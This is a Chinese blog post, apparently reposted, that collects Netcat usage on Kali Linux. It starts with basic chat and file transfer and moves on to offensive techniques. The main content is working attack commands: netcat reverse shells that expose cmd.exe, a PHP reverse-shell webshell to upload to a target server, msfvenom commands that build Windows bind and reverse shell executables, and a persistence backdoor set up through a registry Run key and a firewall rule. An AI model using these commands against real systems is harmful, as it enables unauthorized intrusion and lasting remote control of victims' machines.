kali如何安装netcat_Netcat常用方法汇总
1. 基本使用
1.1 聊天工具服務端
nc -lvp 5678
客戶端
nc 192.168.1.15 5678
1.2 文件傳輸接收端
nc -lvp 5555 > a.zip
發送端
nc 192.168.1.5 5678 < cms.zip
1.3 反向后門監聽端
nc -lvp 5678
控制端
nc 192.168.1.5 5678 -e cmd.exe
2. 綜合使用
2.1 結合php反向后門
控制端啟動監聽nc -lvp 1234
編輯php反彈shell后門,vi /usr/share/webshells/php/php-reverse-shell.php,修改 $ip和 $port 為控制端的地址和端口 將 php-reverse-shell.php 文件上傳至目標服務器中,通過瀏覽器觸發 php-reverse-shell.php 文件路徑,在nc終端中的到反彈shell
2.2 結合msfvenom使用windows/shell_hidden_bind_tcp
msfvenom –p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=4444 –f exe > root.exe
nc 192.168.0.103 4444
windows/shell_reverse_tcp
msfvenom –p windows/shell_reverse_tcp lhost=192.168.0.107 lport=8888 –f exe > root.exe
nc -lvp 8888
2.3 做持久化后門使用
將nc.exe上傳至目標服務器中指定目錄msf > upload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32
切換到目標cmd環境
msf > shell
# 添加自啟動注冊表項
C:\WINDOWS> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'
添加nc出入站防火墻規則
C:\WINDOWS> netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
檢查nc防火墻是否已經開放
C:\WINDOWS> netsh firewall show portopening
重啟目標電腦,使用nc連接
C:\WINDOWS> nc -nv 192.168.0.101 4445
版權屬于:逍遙子大表哥
按照知識共享署名-非商業性使用 4.0 國際協議進行許可,轉載引用文章應遵循相同協議。
總結
以上是生活随笔為你收集整理的kali如何安装netcat_Netcat常用方法汇总的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql 必读_MYSQL 调优和使用
- 下一篇: 香港证券代码几位数